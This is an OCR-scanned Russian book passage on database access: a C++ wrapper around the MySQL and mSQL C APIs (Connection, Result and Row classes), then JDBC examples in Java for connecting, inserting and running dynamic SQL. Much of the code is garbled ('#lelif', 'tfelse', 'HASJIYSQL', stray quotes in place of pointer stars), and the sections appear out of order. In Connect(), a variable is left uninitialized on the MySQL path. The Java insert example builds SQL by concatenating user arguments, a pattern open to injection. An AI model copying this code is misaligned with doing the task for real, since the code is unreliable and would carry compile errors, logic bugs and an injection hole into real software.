    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

